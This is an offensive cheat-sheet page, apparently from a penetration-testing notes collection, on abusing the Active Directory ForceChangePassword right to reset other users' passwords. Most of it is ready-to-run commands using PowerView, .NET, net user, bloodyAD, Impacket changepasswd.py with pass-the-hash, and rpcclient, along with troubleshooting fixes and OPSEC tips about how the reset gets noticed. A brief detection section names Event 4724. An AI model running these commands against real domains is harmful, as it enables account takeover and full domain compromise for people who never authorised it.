attack-23-forcechangepassword-abuse.md (12601B)
1 --- 2 title: "Attack #23 β ForceChangePassword Abuse" 3 description: "ForceChangePassword (also known as User-Force-Change-Password extended right) allows a principal to reset another user's password without knowing theirβ¦" 4 category: active-directory 5 subcategory: "ACL Abuse" 6 tags: ["active-directory", "delegation", "privilege-escalation"] 7 tools: ["Impacket", "PowerShell"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/AD-Attack/Category-Three/π‘ Attack #23 β ForceChangePassword Abuse.md" 11 --- 12 # π‘ Attack #23 β ForceChangePassword Abuse 13 14 *** 15 16 ## π How It Works 17 18 ForceChangePassword (also known as `User-Force-Change-Password` extended right) allows a principal to **reset another user's password without knowing their current password**. Unlike GenericAll or GenericWrite, this is a **single-purpose ACE** β it can only reset the password, nothing else. However, if the target is a Domain Admin or service account, one password reset is all you need for full domain compromise. 19 20 This right is commonly granted to helpdesk groups, IT support teams, and password reset delegations β and is frequently over-scoped to include privileged accounts. 21 22 *** 23 24 ## βοΈ Prerequisites 25 26 | Requirement | Detail | 27 |---|---| 28 | **ForceChangePassword/User-Force-Change-Password on target** | Extended right in the target user's DACL | 29 | **Domain user account** | Any authenticated domain user with this right | 30 31 *** 32 33 ## π οΈ Tools 34 35 | Tool | Platform | Notes | 36 |---|---|---| 37 | **PowerView** | Windows | `Set-DomainUserPassword` β most reliable on-box | 38 | **Pure .NET** | Windows | `DirectoryEntry.Invoke("SetPassword", ...)` β no uploads needed | 39 | **net user** | Windows | Native Windows command | 40 | **bloodyAD** | Linux | `set password` β LDAP/LDAPS, most reliable from Linux | 41 | **changepasswd.py** | Linux | Impacket β SAMR/RPC/KPASSWD/LDAP, `-altuser` = right-holder | 42 | **rpcclient / net rpc** | Linux | SAMR β often blocked on modern DCs | 43 | **RSAT** | Windows | `Set-ADAccountPassword` β only if AD module installed | 44 45 *** 46 47 ## π» Full Commands 48 49 ### π΄ Password Reset Exploitation 50 51 #### From Windows (on-box / evil-winrm session) 52 53 ```powershell 54 # ββ PowerView (most reliable on-box) βββββββββββββββββββββββββββββββββββββββββ 55 Import-Module .\PowerView.ps1 56 57 # These are TWO separate commands β run them one at a time, not pasted together. 58 # Pasting both lines at once (or chaining with ';' in one paste) can make the 59 # reset run before $NewPassword exists in the session β "cannot bind argument" errors. 60 61 # Command 1: build the SecureString (no output β it just sets the variable) 62 $NewPassword = ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force 63 64 # Command 2: perform the reset using that variable 65 Set-DomainUserPassword -Identity ssmalls -AccountPassword $NewPassword -Verbose 66 67 # One-liner alternative if you must do it in a single line β no variable needed: 68 Set-DomainUserPassword -Identity ssmalls -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force) -Verbose 69 70 # ββ Pure .NET β no PowerView, no RSAT needed βββββββββββββββββββββββββββββββββ 71 # Works anywhere .NET runs; talks LDAP directly to the DC as your session user 72 $entry = New-Object DirectoryServices.DirectoryEntry( 73 "LDAP://CN=ssmalls,CN=Users,DC=inlanefreight,DC=local") 74 $entry.Invoke("SetPassword", "Str0ngpass86!") 75 $entry.CommitChanges() 76 77 # ββ net user (native, no uploads at all) βββββββββββββββββββββββββββββββββββββ 78 net user ssmalls Str0ngpass86! /domain 79 80 # ββ RSAT ActiveDirectory module (only if RSAT/AD module is installed) ββββββββ 81 Set-ADAccountPassword -Identity ssmalls -NewPassword ( 82 ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force 83 ) -Reset 84 ``` 85 86 #### From Linux 87 88 ```bash 89 # ββ bloodyAD β LDAP(S), most reliable from Linux βββββββββββββββββββββββββββββ 90 bloodyAD -d inlanefreight.local -u low_user -p 'Password1' \ 91 --host DC01.inlanefreight.local set password ssmalls 'Str0ngpass86!' 92 93 # ββ bloodyAD β DC by IP (--host accepts name OR IP) ββββββββββββββββββββββββββ 94 bloodyAD -d inlanefreight.local -u low_user -p 'Password1' \ 95 --host 10.129.229.147 set password ssmalls 'Str0ngpass86!' 96 97 # ββ bloodyAD β add --dc-ip when --host name won't resolve ββββββββββββββββββββ 98 bloodyAD -d inlanefreight.local -u low_user -p 'Password1' \ 99 --host DC01.inlanefreight.local --dc-ip 10.129.229.147 \ 100 set password ssmalls 'Str0ngpass86!' 101 102 # ββ bloodyAD β LDAPS if plain LDAP password set is refused βββββββββββββββββββ 103 bloodyAD -s -d inlanefreight.local -u low_user -p 'Password1' \ 104 --host 10.129.229.147 set password ssmalls 'Str0ngpass86!' 105 106 # ββ Impacket changepasswd.py β SAMR/RPC/KPASSWD/LDAP in one tool βββββββββββββ 107 # -altuser = YOU (the right-holder), target = the account being reset 108 changepasswd.py -altuser low_user -altpass 'Password1' \ 109 -newpass 'Str0ngpass86!' -reset \ 110 inlanefreight.local/ssmalls@dc01.inlanefreight.local 111 112 # ββ changepasswd.py β pick a protocol explicitly βββββββββββββββββββββββββββββ 113 changepasswd.py -protocol smb-samr -altuser low_user -altpass 'Password1' \ 114 -newpass 'Str0ngpass86!' -reset inlanefreight.local/ssmalls@10.129.229.147 115 changepasswd.py -protocol ldap -altuser low_user -altpass 'Password1' \ 116 -newpass 'Str0ngpass86!' -reset inlanefreight.local/ssmalls@10.129.229.147 117 118 # ββ changepasswd.py β pass-the-hash as the right-holder ββββββββββββββββββββββ 119 changepasswd.py -altuser low_user -althash 31d6cfe0d16ae931b73c59d7e0c089c0 \ 120 -newpass 'Str0ngpass86!' -reset inlanefreight.local/ssmalls@10.129.229.147 121 122 # ββ rpcclient (SAMR) β often BLOCKED on modern DCs, kept for older targets βββ 123 rpcclient -U 'inlanefreight.local/low_user%Password1' 10.129.229.147 \ 124 -c "setuserinfo2 ssmalls 23 Str0ngpass86!" 125 126 # ββ net rpc (SAMR) β same caveats as rpcclient βββββββββββββββββββββββββββββββ 127 net rpc password ssmalls 'Str0ngpass86!' \ 128 -U 'inlanefreight.local/low_user%Password1' -S 10.129.229.147 129 ``` 130 131 ### π§ Which Method When β Troubleshooting 132 133 | Symptom | Cause | Fix | 134 |---|---|---| 135 | `Access is denied` from rpcclient / `net rpc` | SAMR remote calls hardened on Server 2016+ DCs | Use bloodyAD or changepasswd.py (LDAP) instead | 136 | bloodyAD: `unwillingToPerform` / `strongerAuthRequired` | Plain LDAP (389) refuses password writes | Add `-s` (LDAPS) or use `-ss` | 137 | `Set-ADAccountPassword` not recognized | RSAT AD module not installed | Use PowerView or the pure .NET method | 138 | PowerView `Set-DomainUserPassword` fails on `ldap://` bind | Wrong DN/domain or DC unreachable | Check `-Domain` / `-DomainController` flags; verify connectivity | 139 | Password "resets" but login fails | Domain password policy (complexity/history) | Pick a compliant password, e.g. `Str0ngpass86!` | 140 | Reset works but target can't log in for minutes | `minPwdAge` / replication lag between DCs | Wait, or pin to the PDC emulator with `--host` | 141 | Right exists but every tool says denied | You're querying/abusing the wrong DC | Force the DC holding your token: `--dc-ip` / `-DomainController` | 142 143 *** 144 145 ## π©Έ bloodyAD β Connection Flags Explained 146 147 Every bloodyAD command follows the same pattern: **connection flags first, then the action** (`add`, `get`, `set`, `remove`). 148 149 ``` 150 bloodyAD [connection flags] <action> <subcommand> [args] 151 ``` 152 153 | Flag | Long form | What it does | 154 |---|---|---| 155 | `-d` | `--domain` | Domain for NTLM auth, e.g. `-d inlanefreight.local` | 156 | `-u` | `--username` | Username, e.g. `-u low_user` | 157 | `-p` | `--password` | Password **or** `LMHASH:NTHASH` for pass-the-hash | 158 | `-H` | `--host` | **(required)** Hostname **or IP** of the DC, e.g. `--host 10.129.229.147` | 159 | `-i` | `--dc-ip` | IP of the DC β use when `--host` is a name that won't resolve | 160 | `--dns` | β | IP of a DNS server to resolve AD names (cross-domain work) | 161 | `-k` | `--kerberos` | Use Kerberos; can take `kdc=...`, `ccache=...`, `keytab=...` | 162 | `-f` | `--format` | Format of `-p` / keyfile: `aes`, `rc4`, `hex`, `b64` | 163 | `-c` | `--certificate` | Cert auth (Schannel or PKINIT): `"key.pem:cert.pem"` | 164 | `-s` | `--secure` | LDAP over TLS (`-ss` simple bind, `-sss` no signing/CBT) | 165 | `--gc` | β | Connect to the Global Catalog instead of LDAP | 166 | `-t` | `--timeout` | Connection timeout in seconds | 167 168 ```bash 169 # ββ Basic: domain + user + password, DC by hostname ββββββββββββββββββββββββββ 170 bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ 171 set password targetadmin 'P@ssword123!' 172 173 # ββ DC by IP: --host accepts the IP directly, no DNS needed ββββββββββββββββββ 174 bloodyAD -d corp.local -u low_user -p 'Password1' --host 10.129.229.147 \ 175 set password targetadmin 'P@ssword123!' 176 177 # ββ --host by name + --dc-ip: name used for LDAP/Kerberos, IP for connecting β 178 # Use when the DC name is needed (Kerberos SPNs, certs) but doesn't resolve. 179 bloodyAD -d corp.local -u low_user -p 'Password1' \ 180 --host DC01.corp.local --dc-ip 10.129.229.147 \ 181 set password targetadmin 'P@ssword123!' 182 183 # ββ Pass-the-hash: -p takes LMHASH:NTHASH βββββββββββββββββββββββββββββββββββββ 184 bloodyAD -d corp.local -u low_user -p 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' \ 185 --host 10.129.229.147 set password targetadmin 'P@ssword123!' 186 187 # ββ Kerberos with a ccache ticket βββββββββββββββββββββββββββββββββββββββββββββ 188 bloodyAD -k -d corp.local -u low_user --host DC01.corp.local --dc-ip 10.129.229.147 \ 189 set password targetadmin 'P@ssword123!' 190 # or point at a specific KDC / ticket file: 191 bloodyAD -k kdc=10.129.229.147 ccache=/home/kali/low_user.ccache \ 192 -d corp.local -u low_user --host DC01.corp.local \ 193 set password targetadmin 'P@ssword123!' 194 195 # ββ LDAPS (port 636) β needed when LDAP signing/TLS is enforced βββββββββββββββ 196 bloodyAD -s -d corp.local -u low_user -p 'Password1' --host 10.129.229.147 \ 197 set password targetadmin 'P@ssword123!' 198 ``` 199 200 > π‘ **Rule of thumb:** `-d` + `-u` + `-p` say *who you are*; `--host` says *where the DC is* (name or IP both work); `--dc-ip` is the fallback for when the name in `--host` won't resolve. `-k`, `-c`, `-s` change *how* you authenticate/connect. 201 202 > β οΈ **Flag placement matters:** all connection flags (`--host`, `--dc-ip`, `-d`, `-u`, `-p`, β¦) must come **before** the action. Anything after `set password <user> <newpass>` is parsed as an argument of that subcommand β putting `--dc-ip` at the end gives `error: unrecognized arguments`. 203 204 *** 205 206 ## π― OPSEC Tips 207 208 - **Password resets are LOUD** β the target user will notice immediately if they can't log in 209 - **Event 4724 is generated** on every password reset β easy to detect and correlate 210 - **Consider Shadow Credentials instead** if you have GenericWrite β it doesn't change the password 211 - **Some accounts have "cannot change password" set** β ForceChangePassword bypasses this, but the event is still logged 212 213 *** 214 215 ## π‘οΈ Detection β Event IDs 216 217 | Event ID | Source | What to Look For | 218 |---|---|---| 219 | **4724** | Security Log (DC) | Password reset by a non-helpdesk account targeting a privileged user | 220 | **4723** | Security Log (DC) | User attempted to change their own password (not relevant here) | 221 222 *** 223 224 ## π Attack Chain Context 225 226 ``` 227 [ForceChangePassword] βββ Account Takeover via Password Reset 228 β 229 ββββ π Reset DA password β instant domain compromise 230 ββββ β οΈ Loudest ACL attack β user notices immediately 231 ββββ π Prefer: Shadow Credentials (#25) if GenericWrite available 232 ββββ π Defeated by: monitor 4724, restrict password reset delegation 233 ``` 234 235 *** 236 237 > β **Attack #23 β ForceChangePassword Abuse complete.**